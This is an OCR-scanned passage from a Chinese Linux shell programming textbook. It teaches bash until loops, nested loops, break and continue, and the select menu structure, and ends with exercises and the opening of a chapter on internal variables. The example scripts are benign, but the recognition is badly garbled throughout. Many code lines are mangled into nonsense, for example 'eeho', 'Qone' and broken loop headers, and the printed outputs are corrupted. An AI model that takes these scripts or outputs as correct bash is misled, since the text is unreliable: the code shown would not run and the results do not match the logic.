while 命令 类 似 ， 但 区 别 是 until 循环 中 expression 的 退出 状态 不 为 0 时 ， 循 环 体 将 一 直 执行 
下 去 ， 直 到 退出 状态 为 0， 下 面 给 出 了 until 循环 的 结构 : 








Until expression 
do 
command 
command 


done 























方 ， 脚 本 内 容 如 下 所 示 : 
!/bin/bash 


初始 化 循环 变量 
1 








以 


使 用 until 循环 计算 1 一 5 的 
EL 
do 

Jet “square=i*ji" 


方 





echo "$i * $i = $square" 
et my i 二 + 十 TT 
Qone 
脚本 until_ examl.sh 的 执行 结果 为 : 


例 8-21: until examl.sh 脚本 的 执行 结 且 





例 8-21: until exam1l .sh 脚本 通过 until 循环 计算 1 一 5 的 习 





人 





[eetoloeanmeseE cnapterelt /ume ereamisn 


= 
2 = 
2 =.9 
4*4=16 
5 2 
[root@localhost Chapter8]+# 














9 
命令 输出 ， 其 控制 命令 为 判断 i 是 否 


将 结束 循环 。 








FE 广 




















和 while 循环 类 似 ， 当 首次 测试 expression 的 退出 状态 为 0， 将 一 次 也 不 执行 循环 体 。 下 
面 举 一 个 例子 来 说 明 until 循环 的 用 法 ， 新 建 脚本 until exam1.sn， 该 脚本 用 于 计算 1 一 5 的 平 








脚本 until_ examl.sh 通过 let 命令 将 每 次 i 的 平方 保存 到 变量 square 中 ， 然 后 通过 echo 
大 于 5， 如 果 i 不 大 于 5， 将 执行 循环 体 ， 如 果 大 于 5， 


while 循环 能 够 实现 的 脚本 ,until 循环 同样 也 可 实现 。 下 面 的 脚本 是 对 脚本 while_exam3.sh 














#!/bin/bash 


# 提 示 用 户 输入 1 一 10 


从 清远 见 


HQYJ.COM 


进行 的 改写 ， 新 建 脚 本 until exam2.sh， 脚 本 


# 例 8-22: until exam2 . sh 脚本 演示 使 用 unti] 





内 容 如 下 所 示 : 
| 循环 实现 猿 1 一 10 内 的 数 
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echo "Please input the num(1-10) " 
read num 


#until 循环 实现 猜 数 游戏 
ei 11 
do 
Ee] 
then 
sen Toomsmnal Lee vy aa 


read num 
elseq on ge An 
then 
eeho lonnieh ee ev agarne 
read num 
else 
exit 0 
下 本 
done 


提示 用 户 猜 对 了 

eeheq Congraeulalnion Vv ou re cnn 
半 本 until exam2.sh 的 执行 结果 为 : 
例 8-22 until exam2.sh 脚本 的 执行 结果 
EEC 直人 可 大 < 二 看 2 
Please input the num(1-10) 





3 

IST 

2 

moom sma ne aca 
4 


Bongraculat nicon vouare elohe 
root@localhost Chapter8]# 


可 以 看 出 ，while 循环 和 until 循环 非常 相似 ， 区别 仪 在 于 : while 循环 在 条 件 为 真 时 继续 
执行 循环 ， 而 until 则 在 条 件 为 假 时 执行 循环 。 


柑 套 循环 人 


一 个 循环 体内 又 包含 男 一 个 完整 的 循环 结构 ， 称 为 循环 的 奏 套 。 在 外 部 循环 的 每 次 执行 
过 程 中 都 会 触发 内 部 循环 , 直至 内 部 完成 一 次 循环 , 才 接 着 执行 下 一 次 的 外 部 循环 。for 循环 、 
while 循环 和 until 循环 可 以 相互 典 套 。 

为 了 使 读者 更 好 地 理解 循环 藤 套 ， 下 面 将 以 一 个 具体 的 实例 结束 两 个 for 语句 舱 套 的 应 
用 。 本 实例 用 于 输出 九 九 乘法 表 ， 新 建 脚 本 nested loop exam1.sh， 脚 本 的 内 容 如 下 所 示 : 


# 例 8-23: nested loop_examl .sh 脚本 演示 使 用 for 循环 供 套 实现 九 九 乘法 表 
/enn lash 






























































# 通 过 for 循环 髓 套 实 现 九 九 乘法 表 ， 其 中 temp 用 于 保存 i*j 的 值 
sone MU te Mp th Sp Ma 
do 
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# 内 层 循环 
ES 
do 

let "temp = 


(C1 J < J 


人 可 TY 

echo -n "$i*$j=$temp " 
done 
echo 本 
done 





# 和 暂时 存储 i*j 的 值 


脚本 nested loop examl.sh 的 执行 结果 如 下 所 示 : 








# 例 8-23: nested loop examl .sh 脚本 的 执行 结 
[root@localhost Chapter8]# ./nested loop examl.sh 
1*1=1 

2*1=2 2*2=4 

a1=3 32=6 3°3=9 

4*1=4 4*2=8 4*3=12 4*4=16 

S50 2=1005 B55 -20 5323 

6 L602 23 6 24 S506 6=36 

7*1=7 7*2=14 7*3=21 7*4=28 7*5=35 7*6=42 7*7=49 
CE 
9 =90 9 23 3 2599 3699 S550 6=5409/=6S 





[root@localhost Chapter8]# 


脚本 nested loop examl.sh 在 内 循环 中 使 用 了 temp 暂 


命令 加 -n， 表 示 不 换行 输出 。 而 命令 


mm 


echo 

















8*8=64 


Sg“8=72 S931 























时 存储 i*j 的 结果 ， 


pi 


后 通过 echo 





实现 换行 操作 。 可 以 看 出 ， 类 C 风格 的 for 循环 使 用 很 少 的 代码 就 实现 了 九 九 乘法 表 ， 实 现 








时 非常 精炼 。 
下 面 再 举 





























建 一 个 棋盘 ， 脚 本 内 容 如 下 所 示 : 


# 例 8-24: nested loop exam2. sh 脚本 演示 for 循环 娩 套 实现 一 个 8X8 格 的 棋 


#!/bin/bash 


# 外 层 循 环 
oe 
do 

# 内 层 循 环 

Ee (9 Se 3 Se a 

do 











# 下 面 两 行 用 于 不 重 登 显示 黑白 格 
total=$(( $i + $ 
tmp=$(( $total % 








2 


iE oem =e OW: 
then 
echo -ee -n "\033[47m ™" 
else 
让 本格 
企业 
done 

















# 显 示 





个 使 用 for 循环 内 套 的 例子 ， 新 建 脚 本 nested_ loop exam2.sh， 该 脚本 用 于 创 











盘 
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echo "" # 换 行 
done 


脚本 nested loop exam2.sh 的 执行 结果 如 图 8-1 所 示 。 





[root@localhost Chapter8]# ./nested loop exam2.sh 


[root@localhost Chapter8]# | 


8-1 脚本 nested_loop_exam2.sh 的 执行 结果 











芭 本 nested_loop_exam2.sh 实现 8X8 的 棋盘 ， 使 用 了 类 C 风格 的 for 循环 实现 了 双 层 循 
环 。 由 于 前 盘 的 上 下 左右 都 不 相同 ， 所 以 ， 需 要 使 用 下 列 命令 来 判断 1 和 j 的 和 ， 然 后 取 余 ， 
下 面 两 行 的 运算 过 程 就 是 实现 该 操作 : 
total=$(( $i + $j )) 
me 
然后 通过 tmp 的 0 或 1 对 其 赋予 不 同 的 颜色 , 其 中 “\033[47m” 表 示 白 色 , 而 “\033[40m” 
后 面 的 空格 表示 每 个 棋 格 的 长 宽 ， 通 过 这 种 方式 就 实现 了 一 个 棋盘 。 
两 个 或 多 个 while 循环 同样 可 以 实现 循环 左 套 新建 脚本 nested loop exam3.sh， 该 脚本 
用 于 打印 “*” 号 ， 脚 本 的 内 容 如 下 所 示 : 
例 8-25: nested loop exam3.sh 脚本 演示 for 循环 嵌 套 实现 “*” 图 案 排 列 
!/bin/bash 





























































































































初始 化 外 层 循环 变量 


i=1 











外 层 循环 
wnt la MO WW < © 
do 


# 初 始 化 内 层 循 环 变 量 
j=1 


# 内 层 循环 
while (( "$j" <= "$i" )) 
ae 
Echo 人生 
ene WINE 
done 


Tae Mal th 


mm 


echo 
done 


脚本 nested loop exam3.sh 的 执行 结果 为 : 
# 例 8-25 nested loop exam3.sh 脚本 的 执行 结果 
[Eootelocalhnos napterelt i /nesteadlooB exame sn 
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EN 

Rk 
太太 
RS 
Wo 
大 大 大 大 大 大 大 大 


类 类 类 类 类 类 大 大 大 
[root@localhost Chapter8]# 


脚本 nested loop exam3.sh 用 于 打印 “* 
个 “*” 以 此 类 推 。 














”其 中 5 
，; > 一、 








始 化 循环 变量 或 者 忘记 对 循环 变量 进行 增 





同时 可 以 将 for 循环 和 While 循环 结合 在 一 


exam4.sh， 脚 本 内 容 如 下 所 示 : 








第 一 行 打印 一 个 “*” 号 ， 第 二 行 打印 两 
可 以 看 出 ，while 循环 侍 套 显得 十 分 见 余 ， 








而 且 在 程序 设计 时 容易 态 记 初 
量 或 减 量 处 理 。 
起 形成 循环 藤 套 ， 新 建 脚 本 nested_loop_ 


# 例 8-26: nested loop _exam4 .sh 脚本 演示 for 和 while 循环 结合 的 循 


#!/bin/bash 





# 外 层 循环 使 用 for 循环 
Fe (0 0 
do 


# 初 始 化 内 层 循环 变量 j 
j=9 


# 内 层 while 循环 实现 打印 空格 


wl le (9 SE a 
do 

seheor ne 

和 NE 本 
done 


# 初 始 化 内 层 循 环 变 量 k 
LE 


# 内 层 while 循环 实现 打印 “*? 


whene 
do 
eeheoD mn 
let VkErY 
done 
done 


脚本 nested loop exam4.sh 的 执行 乡 


埋 果 为 : 


# 例 8-26 nested loop exam4.sh 脚本 的 执行 结果 


[root@localhost Chapter8]# 


大 

大 大 

大 大 大 
六 

太 沁 潜 次 江 

大 大 大 大 大 大 
大 大 大 大 大 大 大 


人 


HQYJ.COM 


./nested loop exam4.sh 
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环 戏 套 反 序 的 “* ”图 案 排 列 
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[root@localhost Chapter8]# 

脚本 中 ，nested_loop_exam4.sh 实现 了 第 一 行 打印 8 个 空格 和 1 个 “*” 然后 第 二 行 打印 
7 个 空格 和 2 个 “*” 以 此 类 推 ， 最 后 实现 打印 9 个 “*” 该 脚本 在 执行 的 过 程 中 ， 外 层 for 
循环 嵌 套 了 两 个 内 层 while 循环 ， 其 中 ， 第 一 个 while 循环 第 一 行 打印 8 个 空格 ， 第 二 行 打印 
7 个 空格 ， 以 此 类 推 ， 最 后 一 行 打印 0 个 空格 ， 而 第 二 个 while 循环 用 于 打印 “*” 其 中 第 1 
行 打 印 1 个“*” 第 2 行 打印 2 个 “*” 以 此 类 推 ， 第 9 行 打印 9 个 “*” 从 而 形成 了 靠 右 
显示 的 “*” 图 案 排列 。 


人 证 环 控制 和 人 


在 Linux Shell 编程 中 ， 有 时 需要 立即 从 循环 中 退出 ， 如 果 是 退出 循环 ， 则 可 使 用 break 
循环 控制 符 ， 如 果 是 退出 本 次 循环 执行 后 继 循环 ， 则 可 使 用 continue 循环 控制 符 。 


8.5.1 ”break 循环 控制 符 


break 语句 可 以 应 用 在 for、while 和 until 循环 语句 中 ， 用 于 强行 退出 循环 ， 也 就 是 忽略 
循环 体 中 任何 其 他 语句 和 循环 条 件 的 限制 。 可 以 通过 例子 来 说 明 break 循环 控制 符 的 作用 ， 
如 果 不 使 用 break 循环 控制 符 计 算 1 一 100 之 间 连 续 整 数 的 和 ， 新 建 脚本 no_break_exam.sh， 
脚本 内 容 如 下 所 示 : 


# 例 8-27: no _break_exam. sh 脚本 演示 不 使 用 break 的 循环 计算 1 一 100 内 整数 的 和 
#!/bin/bash 

































































































































































# 初 始 化 sum 


sum=0 


# 使 用 for 循环 计算 1 一 100 内 整数 的 和 


Ee "WM i = 10 
do 
let "sum+=i"™ 
done 
显示 计算 结 


echo “1+2++..+100=$sum" 

芭 本 no_break exam.sh 的 执行 结果 为 : 

例 8-27 no break _ exam. sh 脚本 的 执行 结果 

root@localhost Chapter8]# chmod utx no break exam.sh 
ooueloealheos ee natn om exam sn 
2 0 S05 
root@localhost Chapter8]# 

在 脚本 no_break exam.sh 中 添加 上 通过 让 语句 控制 的 break 语句 , 则 会 显示 不 同 的 结果 ， 
新 建 脚 本 break_examl.sh， 脚 本 内 容 如 下 所 示 : 

例 8-28: break examl .sh 演示 使 用 break 的 循环 计算 1 一 100 内 整数 的 和 

enn/ as 
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# 初 始 化 和 sum 


sum=0 


# 使 用 for 循环 计算 1 一 100 内 整数 的 和 
ou” (kK 00 tt 
do 

let wsumt=i™ 


i=1; 


# 在 if 语句 中 添加 break 语句 
EN cee 00 
then 

echo ™ 








+2+...+$i=$sum" 
break 
i 


done 

脚本 的 执行 结果 为 : 

# 例 8-28 break _ examl .sh 脚本 的 执行 结果 
Eeetoeanmes Eenaeterl nn /rea examsn 
2 (0 

[root@localhost Chapter8]+# 





从 上 面 两 个 脚本 可 以 看 出 ， 虽 然 for 循环 被 设计 为 计算 从 1 至 100 内 所 有 整数 的 和 ， 但 
于 当 累 加 结果 大 于 1000 时 ， 使 用 了 break 循环 控制 符 终止 了 for 循环 语句 ， 所 以 ， 当 循 














环 结束 时 ，i 的 值 3 



















































































# 例 8-29: break _ exam2 . sh 演示 使 用 break 的 循环 跳出 内 层 循环 
#!/bin/bash 


# 使 用 break 循环 跳出 i=7 的 那 一 行 
EOE 1 
do 





i=1; 








# 内 层 循环 执行 break 循环 控制 符 
Eee 区 
do 


本 


# 将 i*j 的 临时 结果 保存 在 temp 中 
Let ”temo 








#break 语句 跳出 内 层 循环 
ES 
then 

break 
全 下 


echo -nn "$i*$j=$temp " 
done 
eehom.. 
done 





出 符 ， 
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不 等 于 100， 而 是 等 于 45。 需 要 注意 的 是 ，break 语句 仅 能 退出 当前 的 循 
环 ， 如 果 是 两 层 循环 嵌 套 ， 且 break 循环 控制 符 在 内 层 循 环 中 ， 则 break 仅 跳 出 内 层 循 环 ， 如 
上 整个 循环 ， 则 需要 在 外 层 循环 中 使 用 break 循环 控 刘 
break_exam2.sh 当 语 名 执行 到 break 循环 控制 符 时 , 将 退出 内 部 for 循环 , 脚本 内 容 如 下 所 示 : 


例如 : 下 面 的 脚本 
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脚本 break exam2.sh 的 执行 结果 为 : 

# 例 8-29 break exam2 .sh 脚本 的 执行 结果 
leoealee es enaeeralt /orearexanas 
站 对 二 由 

2 2 

S59 269353=9 
A414004*2=3453=024*416 

Ss S20 55 S20 95=25 

GO 三 CC 


8*1=8 8*2=16 8*3=24 8*4=32 8*5=40 8*6=48 8*7=56 8*8=64 
9*1=9 9*2=18 9*3=27 9*4=36 9*5=45 9*6=54 9*7=63 9*8=72 9*9=81 
[root@localhost Chapter8]# 


可 以 看 出 ， 将 break 循环 控制 符 放 在 内 部 for 循环 ， 结 果 =7 的 那 一 行 未 显示 ， 但 二 8 和 
i=9 的 结果 还 在 显示 。 下 面 的 例子 是 跳出 整个 循环 局 套 的 脚本 ,新 建 脚本 break_exam3.sn， 脚 
本 内 容 如 下 所 示 : 


例 8-30: break_exam3 .s 脚本 演示 使 用 break 控制 符 跳出 整个 循环 
!/bin/bash 









































将 break 循环 控制 符 放 在 最 外 层 循环 
人 
do 











#break 语句 跳出 外 层 循环 
we | Men a yl 
then 
break 
全 





# 内 层 循 环 执行 输出 
亲人 J=17 J<= 1 J++ 
do 





# 将 i*j 的 临时 结果 保存 在 temp 中 
let "teme=1* 








echo -n "$i*$j=$temp " 
done 


echo ™™ 
done 


脚本 break exam3.sh 的 执行 结果 为 : 

# 例 8-30 break exam3 .sh 脚本 的 执行 结果 

[root@localhost Chapter8]# ./break exam3.sh 

1*1=1 

2*1=2 2*2=4 

3*1=Y S26 3 

4*1=4 4*2=8 4*3=12 4*4=16 

Sl 0 52 0 0+*3=15% 5+*4= 2005*5=25 

6*1=6 6*2=12 6*3=18 6*4=24 6*5=30 6*6=36 

[root@localhost Chapter8]# 

可 以 看 出 ， 将 break 循环 控制 符 放 在 外 层 循 环 时 ， 二 7、i=8 和 i=9 都 未 执行 ， 所以， 将 
break 循环 控制 符 放 在 外 层 循 环 时 ， 则 跳出 整个 循环 。 
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8.5.2 ”continue 循环 控制 符 
continue 循环 控制 








符 应 用 在 for、while 和 until 语句 中 




















， 用 于 让 脚本 跳 过 其 后 面 的 语句 ， 














执行 下 一 次 循环 ,例如 ,实现 输出 100 以 内 所 有 能 被 7 整除 的 数 ,新 建 脚本 continue exam1.sh， 














脚本 内 容 如 下 所 示 : 
例 8-31: 
!/bin/pbash 
初始 化 一 个 中 间 变 量 m 
m=1 
使 用 for 循环 和 continue 循环 控制 符 实现 结果 输 昌 
or T= OE 
do 





# 设 置 中 间 变 量 temp1 的 值 
let "templ=i%7" 





# 在 iE 结构 中 使 用 continue 循环 控制 符 
Esme neo 
then 
continue 
ae 








# 输 出 结果 


echo —n whi™ 





# 设 置 中 间 变 量 temp2 的 值 ， 该 变量 用 于 换行 
let "temp2=m%7" 


# 每 行 显示 7 个 数 
if [ "$temp2" -eq 0 ] 
then 
ecmnen 
出 





Sin 

done 

脚本 continue_exam1.sh 的 执行 结果 为 : 
# 例 8-31 continue examl .sh 脚本 的 执行 结果 
[root@localhost Chapter8]# 
了 24200221928935942049 

Sl Mae To eS 
[root@localhost Chapter8]# 


在 脚本 continue exam1.sh 中 ， 当 i 不 能 被 


下 一 次 循环 ， 如 果 i 能 被 7 整除 ， 
命令 























o 


下 面 的 脚本 是 














continue_examl .sh 脚本 演示 使 用 continue 的 循环 显示 100 内 能 被 7 整除 的 数 





将 执行 输出 命令 ， 当 计数 变量 


一 个 for 循环 藤 套 中 使 用 continue 循环 控制 符 


Us 


./continue examl .sh 














7 整除 时 ， 将 跳 过 下 面 的 输出 命令 ， 直 接 进 入 
m 取 余 结果 为 7 时 执行 换行 











的 例子 。 为 了 形成 对 比 ， 脚 





本 continue exam2.sh 同样 用 于 实现 九 九 乘法 表 , 脚本 中 仅仅 将 break_ exam2.sh 中 让 语 名 中 的 


break 修改 为 continue， 同 样 将 continue 循环 控 侍 


华 清 放 见 
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| 符 放 在 了 内 层 循 环 ， 脚 本 内 容 如 下 所 示 : 




















华 清 远见 教育 集团 4 








网 : www. hqyj. com 


焉 




















《Linux Shell 编程 从 初学 到 精通 》 


# 例 8-32: continue_exam2 . sh 脚本 演示 使 用 continue 的 循环 跳出 内 层 循环 的 九 九 乘法 表 
#!/bin/bash 





# 外 层 循 环 
fo (ly 
do 





# 将 continue 循环 控制 符 放 在 内 层 循环 
£6 (CC J J LF J 
ele 





# 将 i*j 的 临时 结果 保存 在 temp 中 
Let teme=L* 








#break 语句 跳出 循环 
Em eonra 
then 

Sontinue 
ff 








# 输 出 结果 
echo -n "$i*$j=$temp " 
done 





eehon 
done 


脚本 continue exam2.sh 的 执行 结果 为 : 

# 例 8-32 continue exam2 .sh 脚本 的 执行 结果 

Leoosenle mes Nenaeerol on ue en 

1*1=1 

2*1=2 2*2=4 

91 S26 3 

4*1=4 4*2=8 4*3=12 4*4=16 
S50 

G00 2 0 30 4 -2406%5=S006 6=36 

7*2=14 71x3=21 7*4=28 7*5=35 7*6=42 7*7=49 
SO 
贡生 二 贡生 作用 国电 生发 人间 4 二 29 2 二 人 5 和 
[root@localhost Chapter8]# 


通过 脚本 continue_exam2.sh 的 执行 结果 可 以 看 出 ,，“7*1=7” 示 显示， 所 以 ， 将 continue 
放 在 最 内 层 循环 体 中 时 ， 仅 仅 是 结束 了 本 次 循环 执行 下 一 次 循环 。 下 面 的 脚本 是 对 
break exam3.sh 的 改写 ， 同 样 只 是 将 break 改 为 continue， 将 continue 放 在 最 外 层 循环 ， 脚 本 
内 容 如 下 所 示 : 


# 例 8-33: continue exam3. sh 脚本 演示 使 用 continue 控制 符 跳 出 外 层 循环 
#!/bin/bash 





















































# 将 循环 控制 符 放 在 最 外 层 循 环 
FOr TI 0 
do 











#continue 语句 跳出 本 次 外 层 循环 ， 执 行 下 一 次 外 层 循 环 
Te ww ee 
then 
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continue 


Ee (J=12 J<= 二 站 外 


# 将 i*j 的 临时 结果 保存 在 temp 中 
let "temp=i*j" 











echo —n "$i*$j=$temp " 
done 


echo wr 

四 me 
脚本 continue_exam3.sh 的 执行 结果 为 : 
# 例 8-33 continue _exam3 .sh 脚本 的 执行 结果 
[root@localhost Chapter8]# ./continue exam3.sh 
We 
2x1=2 2x2=4 
SE 9 
4*1=4 4*2=8 4*3=12 4*4=16 
S20 20 
G00 2 2 53005636 
SE 2 E6523 453528 S40 6 -40 -30 S64 
S19 S28 二 和 O336 55=43 3834 07 E72 5=81 
[root@localhost Chapter8]# 
通过 脚本 continue_exam3.sh 的 执行 结果 可 以 看 出 ”将 continue 放 到 最 外 层 循环 时 ，i=7 
这 一 行 都 未 执行 ， 其 结束 了 整个 二 7 的 外 部 循环 ， 所 以 ， 可 以 通过 continue 放 在 外 层 循环 或 
内 层 循 环 来 实现 不 同 的 循环 控 秆 


86 select 结构 站 


select 结构 从 技术 角度 来 看 不 能 算是 循环 结构 ， 因 为 其 不 对 可 执行 结果 的 代码 块 进行 循 
环 操作 ， 但 其 与 循环 结构 有 相似 之 处 ， 它 们 也 依靠 在 代码 块 的 项 部 或 底部 的 条 件 判断 来 决定 
程序 的 分 支 。Select 是 bash 的 扩展 结构 ， 用 于 交互 式 菜单 显示 ， 用 户 可 以 从 一 组 不 同 的 值 中 
进行 选择 ， 功 能 类 似 于 case 结构 ， 但 其 交互 性 要 比 case 好 得 多 ， 其 基本 结构 为 : 


select variable in {list} 









































一 尖 


o 
































































































































do 
command 
ee 
done 
下 面 通过 一 个 例子 来 说 明 select 结构 的 用 法 ， 新 建 脚本 select exam1.sh， 脚 本 内 容 如 下 
所 示 : 
# 例 8-34: select_examl .sh 脚本 演示 交互 式 显 示 用 户 喜欢 的 颜色 ， 并 让 用 户 选择 








#!/bin/bash 









































千 请 元 四 华 清 远 见 教育 集团 官网 : www. hqyj. com 


《Linux Shell 编程 从 初学 到 精通 》 


# 设 置 提示 符 
eel Wee nv ta or le ecole 


# 通 过 select 结构 实现 用 户 选择 
select color in "redq" "blue" "green" "white" "black"™ 
do 
break 
done 


提示 用 户 输入 的 结果 

echo “You have selecteqd $color" 

却 本 select_examl.sh 的 执行 结果 为 : 

例 8-34 select examl .sh 脚本 的 执行 结果 
EEC ee enaeeean Seleee exam 





whate rs yeourrtaveurtee color> 








) red 
2) blue 
3) green 
4) white 
Syl 

2 


You have selected green 
root@localhost Chapter8]# 


由 脚本 select_examl.sh 的 执行 结果 可 以 看 出 ， 使 用 select 可 以 提供 选项 供用 户 选 择 ， 这 
样 提高 了 系统 和 用 户 的 交互 。select 还 有 一 种 格式 ,该 格式 是 不 带 参数 列表 的 select 结构 ， 该 
结构 通过 命令 行 来 传递 参数 列表 ， 由 用 户 自己 设 定 参数 列表 ， 其 格式 为 : 

select variable 


do 
command 












































break 
done 


我 们 再 举 个 例子 说 明 该 格式 的 select 结构 的 用 法 ， 新 建 脚本 select_exam2.sh， 该 脚本 的 
内 容 如 下 所 示 : 

# 例 8-35: select _exam2. sh 脚本 演示 命令 行 输入 形式 的 select 结构 

#!/bin/bash 


























# 设 置 提示 符 
EchoaNnseE omneeEs7oTE SEOTPERRD 


# 通 过 命令 行 传递 select 结构 的 List 参数 列表 
select color 
do 
break 
done 


# 提 示 用 户 输入 的 结果 

echo "You have selected $coOlor™ 

脚本 select_exam2.sh 的 执行 结果 为 : 

# 例 8-35 select exam2.sh 脚本 的 执行 结果 

[root@localhost Chapter8]# ./select exam2.sh red green blue white black 





wa se von av ou ee eo en 
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red 

green 

blue 

white 

5 obereLe 

#2? 2 

You have selected green 
[root@localhost Chapter8]# 


脚本 select_exam2.sh 执行 时 通过 命令 行 传递 了 列表 参数 ， 然 后 罗列 出 命令 行 参数 ， 最 后 





Me 


通过 用 户 回答 显示 最 终结 果 。 


8.7 区 7 


















































本 章 讨论 了 循环 结构 的 详细 用 法 , 结合 实例 详细 讲解 了 for 循环 、while 循环 和 until 循环 
的 基本 格式 和 语义 , 这 三 种 循环 中 , while 循环 和 for 循环 




















到 型 循环 ”。 








循环 结构 可 以 相互 髓 套 组 成 更 复杂 的 流程 ， 为 了 更 好 地 控 








[E: 





属于 “ 当 型 循环 ”, 而 until 属于 “ 直 




















制 循 环 ，Linux Shell 中 还 提供 


了 和 循环 密切 相关 的 流程 转向 控制 符 break 和 continue， 其 中 ，break 用 于 跳出 其 所 在 的 循环 








体 ， 而 continue 则 是 结束 本 次 循环 执行 下 一 次 循环 。 本 章 最 后 介绍 了 select 结构 的 用 法 。 


8.8 上 机 提议 


1. 使 用 for 循环 计算 100 以 内 所 有 人 





计算 ， 比 较 哪 种 结构 更 简单 。 








三 本 
电 o 














2. 使 用 while 循环 或 者 until 循环 实现 从 命令 行 读 入 字 








站 


数 的 和 ， 然 后 用 while 循环 和 until 循环 来 实现 这 个 


符 串 ， 直 到 输入 的 字符 串 为 句号 











3. 将 for_exam9.sh 中 输入 的 命令 行 参 数 改 为 1 2、3， 碍 看 输出 结果 是 否 与 原来 相同 。 


4. 使 用 for 循环 实现 “2，4，8，16，32，64” 的 结果 显示 


循环 实现 。 

















示 ， 然 后 使 用 while 循环 和 until 











5. 通过 循环 实现 从 1 开始 辣 加 ， 直 到 和 的 结果 大 于 2000 为 止 。( 提 示 : 可 以 通过 两 种 方式 














实现 ， 一 种 方式 在 循环 条 件 中 设置 和 大 于 2000 时 结束 ， 第 二 和 




















方式 使 用 break 循环 控制 符 实 现 ) 








6. 找 出 100 以 内 所 有 能 被 3 整除 的 数 ， 每 行 显示 8 个 数 ， 然 后 换行 显示 。 


7. 打印 由 如 下 “*” 组 成 的 


六 
大 大 大 
大 大 大 类 大 
大 大 大 类 大 大 大 


大 大 大 类 大 大 大 大 大 大 








图 案 : 





8. 如 果 一 个 整数 各 位 数字 之 和 可 以 被 9 整除 ， 那么 该 整数 就 可 被 9 整除 , 编写 一 个 脚本 


HH 
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提示 用 户 输 入 一 个 整数 ， 然 后 输出 该 整数 ， 并 告 之 该 整数 是 否 可 被 9 整除 。 

9. 编写 一 个 脚本 ， 该 脚本 提示 用 户 输入 一 些 整数 ， 然 后 通过 程序 控制 分 别 计算 出 这 些 整 
数 中 奇数 之 和 与 偶数 之 和 ， 并 将 其 输出 。 

10. 编写 一 个 脚本 提示 用 户 输入 一 个 正 整 数 , 程序 将 输出 信息 提示 该 正 整数 是 否 为 质数 。 

(提示 : 偶数 只 有 2 是 质数 , 如 果 为 奇数 , 且 不 能 被 任何 一 个 小 于 或 等 于 它 平 方 根 的 奇数 整除 ， 

那么 该 奇数 就 是 质数 。) 

11. 一 个 数 恰好 等 于 它 的 因子 之 和 ， 这 样 的 数 称 为 “ 完 数 ”。 例如 ，6 的 因子 为 1、2、3， 
而 6=1+2+3， 因 此 ，6 是 “ 完 数 ”。 编写 程序 写 出 1000 以 内 所 有 的 完 数 ， 并 按 下 面 的 格式 输 
出 其 因子 : 

oe 

12. 编写 一 个 脚本 读 入 一 些 整数 ， 分 别 输出 这 些 整数 中 奇数 的 个 数 和 偶数 的 个 数 ， 并 输 
出 0 的 个 数 。 

13. 编写 一 个 脚本 提示 用 户 输 入 一 个 整数 ， 程 序 将 分 别 输出 该 整数 每 个 位 上 的 数字 ， 
输出 这 些 数字 的 和 ， 例 如 ， 输 出 整数 2345 每 个 位 上 的 2345; 输出 整数 -3456 每 个 位 上 的 数 
字 是 345 6。 

14. 使 用 while 循环 编写 脚本 ,使 其 完成 下 面 的 功能 : 

1) 提示 用 户 输入 两 个 整数 : firstNum 和 secondNum (firstNum 的 值 一 定 要 小 于 
secondNum )。 

2) 输出 所 有 介 于 firstNum 和 secondNum 之 间 的 奇数 。 

3) 输出 所 有 介 于 firstNum 和 secondNum 之 间 的 偶数 之 和 。 

15. 分 别 使 用 until 循环 和 for 循环 改写 习题 14。 

16. 将 习题 7 的 图 案 的 脚本 中 加 入 break 或 continue 循环 控制 符 ， 查 询 显 示 的 结果 。 

17. 上 机 运行 下 面 的 脚本 ， 查 看 脚本 的 输出 结果 是 什么 ? 


#!/bin/bash 
























































































































































































































































oe MM te lp < Sp pe 
do 
let "temp = i%6 ™ 


Case voGemew i 





























0) 
Scene Tn to 
B) 
Seho mn Tn 
2) 
Eee 放生 STEEL 
引 
echo -n "world 
4) 
eeher now 
5) 
echo -n "Welcome ™" 
0) 
echo "Bad Number. " 
done 
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第 6 章 已 经 介绍 了 变量 的 基本 用 法 ， 包 括 变量 的 替换 和 赋值 、 无 
类 型 性 、 环 境 变量 ， 以 及 四 种 引用 符号 及 其 意义 和 用 法 。 本 章 扩展 变 
量 的 基本 用 法 , 介绍 Shell 编程 中 变量 的 一 些 高 级 用 法 ， 由 于 本 章 很 多 
例子 使 用 了 流程 控制 相关 的 内 容 ， 因 此 ， 本 书 将 第 9 章 放 在 了 第 8 章 
之 后 。 
本 章 首先 系统 介绍 bash Shell 中 的 内 部 变量 , 其 次 介绍 Shell 处 理 
字符 串 的 命令 和 方法 ， 再 次 介绍 如 何 将 原本 无 类 型 的 Shell 变量 声明 
为 特定 类 型 ， 接 着 介绍 间接 变量 引用 ， 最 后 介绍 bash 数学 运算 ， 包 
含 expr 命令 和 bc 运算 器 。 本 章 与 第 6 章 一 起 阐述 请 楚 了 Shell 变量 


的 全 部 内 容 。 
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内 部 变量 是 指 能 够 对 bash Shell 脚本 行为 产生 影响 的 变量 ， 它 们 对 Shell 及 其 子 Shell 都 
有 效 。 因 此 ， 内 部 变量 属于 环境 变量 的 范畴 。6.1.3 节 环 境 变量 已 经 介绍 了 几 个 重要 的 环境 变 
， 其 中 的 PWD、SHELL、USER、UID、PPID、PS1、PS2 和 IFS 变量 都 为 内 部 变量 ， 本 节 
在 上 述 几 个 内 部 变量 的 基础 上 ， 完 整地 介绍 Linux bash Shell 的 内 部 变量 。 

1. BASH 

BASH 记录 了 bash Shell 的 路 径 ， 通 常 为 /bin/bash， 内 部 变量 SHELL 就 是 通过 BASH 的 
值 确 定 当 前 Shell 的 类 型 。 例 9-1 显示 了 BASH 和 SHELL 变量 的 值 ， 由 于 Fedora 使 用 的 是 
bash Shell， 因 而 两 个 变量 的 值 都 是 /bin/bash。 

# 例 9-1: BASH 和 sHELL 变量 的 值 

[root@zawu ~]# echo $BASH 

Volin /eae 

[root@zawu ~]# echo $SHELL 


/bin/bash 
[root@zawu ~]# 


2. BASH SUBSHELL 

BASH SUBSHELL 记录 了 子 Shell 的 层次 , 这 个 变量 在 bash 版 本 3 之 后 才 出 现 的 。 关 于 
子 Shell 的 相关 内 容 ， 将 在 第 12 章 进 行 介绍 ， 和 在 此 不 举例 介绍 该 变量 的 用 法 。 

3. BASH_ VERSINFO 

BASH_VERSINFO 是 一 个 数组 ， 包 含 .6 个 元 素 ， 这 6 个 元 素 用 于 表示 bash 的 版 本 信息 ， 
例 9-2 新 建 名 为 bashver.sh 的 脚本 ， 用 于 输出 BASH VERSINFO 数组 的 值 ， 脚 本 内 容 如 下 : 


# 例 9-2: bashver .sh 输出 BASH _VERSINFO 数组 的 值 
